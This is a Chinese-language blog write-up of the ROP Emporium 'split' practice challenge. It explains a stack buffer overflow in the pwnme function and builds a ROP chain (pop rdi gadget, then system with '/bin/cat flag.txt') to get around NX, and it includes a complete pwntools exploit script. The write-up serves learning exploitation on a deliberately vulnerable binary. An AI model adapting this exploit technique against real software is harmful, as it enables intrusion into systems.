rop练习--split
28 Sep 2017
|
这里只是一道简单的栈溢出问题,但是因为设置NX,所以要通过rop来执行shellcode。 参考链接:https://medium.com/@iseethieves/intro-to-rop-rop-emporium-split-9b2ec6d4db08
前期信息搜集
这篇文章里前期用到了radare2这个工具来查看程序信息,之前没用过,学习一波。 用rabin2 -I 来查看程序的架构等信息,其实用file就可以。
用rabin2 -izz 来查找信息,用strings也是可以的。
然后用checksec查看一下防护措施:
查看反汇编
main函数:
pwnme函数:
很明显s数组是0x20的大小,而后面的fgets却接受了96大小的数据。
usefulFunction函数:
竟然还有这种函数,好吧,我是看腾讯玄武每日推送打开这篇文章的。。。
现在就看看怎么构造rop了?
X64 下函数参数传递的顺序为:RDI,RSI,RDX,R10,R8,R9,所以我们把system里的参数变成”/bin/cat flag.txt“就行了,即这个参数传入rdi寄存器中。用ropper搜索 ”pop rdi; ret;“,pop rdi;就是将栈顶的数据弹给rdi,然后ret返回执行栈中的下一条指令,我们填充的system的地址,这样我们就实现攻击了。
rop的步骤:
- 利用fgets()来填充buffer,将返回地址覆盖为pwnme的地址
- 建立rop链把’/bin/cat flag.txt’传入RDI寄存器
- 调用system()
exp.py
# coding: utf-8
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('split')
system_addr = 0x400810
cat_addr = 0x601060
pop_rdi_ret = 0x400883
fake_ret = 0x42424242
p = process(elf.path)
p.sendline(cyclic(128))#产生128个随机字符
p.wait()
core = p.corefile#获取崩溃文件,根据崩溃文件来得到rsp的地址
stack = core.rsp
info("stack: %#x",stack)
pattern = core.read(stack,4)#读取rsp保存的内容,即随机字符
offset = cyclic_find(pattern)#根据随机字符找偏移,这里其实简单一算:0x20+8(rbp)=0x28=40个偏移
info("pattern: %r", pattern)
info("offset: %d",offset)
rop_chain = p64(pop_rdi_ret)
rop_chain += p64(cat_addr)
rop_chain += p64(system_addr)
rop_chain += p64(fake_ret)
padding = cyclic(offset)
payload = padding + rop_chain
p = process(elf.path)
p.sendline(payload)
p.interactive()
运行结果图:
结论
这篇文章讲的这道还是很简单的,了解了radare2这个工具,下面这个网站上有很多rop的题可以练习,然后之前还看到一个srop的东西,抽空把这个坑填上。
split下载地址:https://ropemporium.com/